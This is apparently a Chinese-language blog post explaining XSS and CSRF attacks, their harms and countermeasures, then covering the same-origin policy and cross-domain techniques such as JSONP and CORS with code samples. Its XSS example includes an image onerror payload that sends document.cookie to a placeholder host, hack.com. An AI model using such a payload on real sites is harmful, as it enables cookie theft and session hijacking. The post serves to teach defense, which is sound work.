xss、csrf 攻击

最新推荐文章于 2024-08-09 14:09:30 发布

进击中的羊

最新推荐文章于 2024-08-09 14:09:30 发布

阅读量251

点赞数

分类专栏：网络安全文章标签：安全

本文链接：https://blog.csdn.net/LeAng_Lee/article/details/116526389

版权

网络安全专栏收录该内容

1 篇文章 0 订阅

订阅专栏

本文介绍了XSS和CSRF两种常见的网络安全攻击，包括它们的攻击原理、危害以及解决方案。XSS攻击主要通过注入脚本窃取用户信息，而CSRF则模拟用户操作，两者都能对用户安全造成严重威胁。为防止这些攻击，可以采用设置HttpOnly Cookie、添加CSRF令牌、验证Referer字段等策略。此外，还讨论了浏览器的同源策略和跨域问题。

摘要由CSDN通过智能技术生成

xss

攻击描述：跨站脚本攻击，这里缩写css被前端层叠样式表（Cascading Style Sheets）占用了，为了和html中的css 区分，简称 xss
攻击场景：属于注入攻击的一种。两个用户a和b，a在某网站上发表了一篇文章，其中包含了一串js代码，如下：
```
<p>
   <img style="display:none" src="null" οnerrοr="a=function(ajax({url:'//hack.com/utm.gif',data:{c:document.cookie}}));a();"
</p>
```
造成问题：窃取用户cookie，损害/控制用户电脑做出某些行为，模拟用户操作等。xss的攻击如果成功，一般来说是可以造成很严重后果的，因为对方相当于直接控制了你的操作，并做出一些你自己不会做的事情，CSRF相对来说，只是模拟了操作，还是受到服务提供者限制的。
解决方案：
- 给Cookie添加HttpOnly属性, 使cookie只能在http请求中传递, 像是上面那个脚本中 document.cookie无法获取到该Cookie值. 对XSS的攻击, 有一定的防御值. 但是对网络拦截, 还是泄露了。
- 在cookie中绑定用户网络信息等环境值,比如ip,user agent等，并在服务端校验. 这样当cookie被人劫持了, 并冒用, 但是在服务器端校验的时候, 发现校验值发生了变化, 一定程度上去规避cookie劫持。
- cookie中session id的定时更换, 可以一定程度减少攻击带来的损害，并不能避免攻击产生。

csrf

攻击描述：假设你登陆了a网站，此时你又打开了b网站的某个页面，b网站的某个页面上有一段代码，可能是一个自提交的表单，表单的action是a网站，这样b网站就模拟了你的身份，向a网站发送了一个请求。CSRF的攻击特点是伪造其他网站的操作，冒用身份比如利用cookie伪造登录凭证，不是窃取cookie
造成问题：可以模拟你在a网站的所有操作，并且操作发生在你使用的浏览器，和你自己操作没有区别，比较著名的有利用gmailCSRF漏洞窃取用户邮件。
解决方案
- 有每一个表单都带有一个CSRF令牌（CSRF TOKEN）,后端验证没有令牌的直接被拒绝，这里的令牌需要和会话绑定更能确保安全性，尤其是不要提供获取CSRF令牌的接口，否则就形同虚设了。
- 验证 HTTP Referer 字段
- 验证码（现在基本大型网站重要的操作都会进行验证，甚至是手机验证码验证来保障安全）
疑问：令牌在 f12 是可查看的，但是对于攻击者是不可见的

其他相关知识点

跨域

浏览器同源策略:浏览器同源策略，两个请求地址的protocol协议、port、ip 只要有一个不一致就会出现跨域的情况。

浏览器默认是做了跨域限制的，想要支持跨域有以下几种解决方案

方案	优点	缺点
JSONP	简单实用，老式浏览器全部支持，服务器改造非常小。	只支持GET请求，不支持POST等其他类型的HTTP请求，不能解决跨域页面之间的javasript调用问题。
CORS	W3C标准，是跨源AJAX请求的根本解决方法，允许任何类型的请求。
WebSocket	不受浏览器同源策略影响	需要服务端支持协议，浏览器支持websocket，并非所有浏览器都支持websocket。

解决方案分析

jsoup 优点：使用方便，同时支持大多部分浏览器版本。缺点：只支持GET提交方式，不支持其他POST提交。开发复杂度：前后端都需要有相应的代码调整。适合在系统大多资源不想支持跨域，有个别资源因为需求不得不支持的情况。调整示例如下

前端调整：

$.ajax({
    url:'http://192.168.7.38:8080/telapi/LoginAction.do?method=login',
    // datatype 为 jsonp
    dataType:"jsonp",
    data:{username:'zhangsan',password:'0'},
    // 通过后端的回调方法
    jsonpCallback:"success_jsonp", 
    success:function(data){
        $("#te").val(data);
    }

后端调整：（通过 response 写一个回调方法返回值）

response.setContentType("text/html;charset=utf-8");
PrintWriter pw = response.getWriter();
pw.write("success_jsonp(" + result + ")");
pw.flush();
pw.close();

CORS W3C制定的标准，post前会产生一次options嗅探（称之为preflight，但简单请求不会出现）来确认有否跨域请求的权限；客户端post时会带上Origin头指示来源网站，服务端响应时需带上Access-Control-Allow-Origin头与Origin头的值匹配，以示许可。优点：W3C标准方案，实现简单。缺点：支持的浏览器有限，IE需要较高版本，具体浏览器支持情况见下图：

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0ZXEd3V9-1620455135897)(D:\mine\learn-note\networkSecurity\images\SouthEast)]

开发复杂度：与同源开发相比，只需后台接口增加少量代码。以java服务端为例

   CorsConfigurationSource corsConfigurationSource() {
        UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
        CorsConfiguration config = new CorsConfiguration();
        config.setAllowCredentials(true);
        // 允许跨域访问的站点 
        config.addAllowedOrigin("www.baidu.com");
        // 允许访问请求头信息
        config.addAllowedHeader("*");
        // 允许访问的接口类型（POST、GET、DELETE等）
        config.addAllowedMethod("*");
        source.registerCorsConfiguration("/**", config);
        return source;
    }
    // 上面是springmvc的配置方式，最终其实就是在 response 中根据 w3c 规则设置了对应的值
    response.setHeader("Access-Control-Allow-Headers", "accept, content-type");
    response.setHeader("Access-Control-Allow-Method", "POST");
    response.setHeader("Access-Control-Allow-Origin", "http://192.168.8.36");